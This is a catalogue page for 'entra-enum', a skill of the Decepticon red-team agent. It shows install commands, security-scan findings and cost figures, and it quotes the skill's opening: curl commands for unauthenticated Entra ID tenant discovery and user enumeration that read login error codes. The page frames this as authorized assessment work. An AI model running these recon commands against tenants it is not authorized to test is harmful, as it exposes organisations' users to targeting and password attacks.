Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill entra-enumgit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/entra-enum)<a href="https://agentmods.dev/skills/purpleailab/decepticon/entra-enum"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/entra-enum/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/entra-enum"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/entra-enum.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 5 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high YARA Match · line 37 YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
- medium Data Exfiltration · line 24 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 52 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 60 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 72 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00065 | $0.02181 |
| Opus 5 | $0.00032 | $0.01091 |
| Sonnet 5 | $0.00013 | $0.00436 |
| Haiku 4.5 | $0.00006 | $0.00218 |
Grade A, and why
entra-enum scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s "https://login.microsoftonline.com/${TARGET}/.well-known/openid-configuration" | jq '{tenant: .issuer, authz: .authorization_endpoint, token: .token_endpoint}' How it starts
The opening of the file, as written. The whole thing — 157 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Entra ID / M365 Enumeration
You have a target domain (e.g. <TARGET>) and want to map the Entra ID tenant before any auth attempt. Tenant ID, validated users, federation type, MFA/CA posture — all reachable unauth. Then layer authenticated recon once you have a token.
Phase 0: Tenant discovery (unauth)
TARGET=<TARGET> # e.g. contoso.com
# 1. OpenID config — tenant ID + auth endpoints
curl -s "https://login.microsoftonline.com/${TARGET}/.well-known/openid-configuration" | jq '{tenant: .issuer, authz: .authorization_endpoint, token: .token_endpoint}'
# 2. GetUserRealm — federation type (Managed | Federated | Unknown)
curl -s "https://login.microsoftonline.com/getuserrealm.srf?login=any@${TARGET}&xml=1"
# 3. Autodiscover — federated IdP hint (ADFS, Okta, PingFed)
curl -s "https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc" \
-H "Content-Type: text/xml; charset=utf-8" \
-H "SOAPAction: \"http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetFederationInformation\"" \
-d @- <<XML | xmllint --format -
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:a="http://schemas.microsoft.com/exchange/2010/Autodiscover">
<soap:Header><a:RequestedServerVersion>Exchange2010</a:RequestedServerVersion></soap:Header>
<soap:Body><a:GetFederationInformationRequestMessage><a:Request><a:Domain>${TARGET}</a:Domain></a:Request></a:GetFederationInformationRequestMessage></soap:Body>
</soap:Envelope>
XML
# 4. Tenant branding (logo, banner string => social-engineering pretext)
curl -sI "https://login.microsoftonline.com/${TARGET}/v2.0/.well-known/openid-configuration"
Pull tenant ID into env:
TENANT=$(curl -s "https://login.microsoftonline.com/${TARGET}/.well-known/openid-configuration" | jq -r .issuer | awk -F/ '{print $4}')
echo "$TENANT" # GUID
Phase 1: User enumeration (unauth)
o365creeper — login endpoint response codes
# AADSTS50053 = locked, AADSTS50034 = user doesn't exist, AADSTS50126 = wrong pw (= valid user)
curl -s -X POST "https://login.microsoftonline.com/common/oauth2/token" \
-d "resource=https://graph.windows.net&client_id=1b730954-1685-4b74-9bfd-dac224a7b894&grant_type=password&username=<UPN>&password=Invalid!" \
-d "scope=openid" | jq -r .error_description
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 157 lines · 65 tokens per session scan A fdf2b0c15615
entra-enum is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,482 stars, last pushed 11d ago), licensed Apache-2.0. It adds 65 tokens to every session and 2,181 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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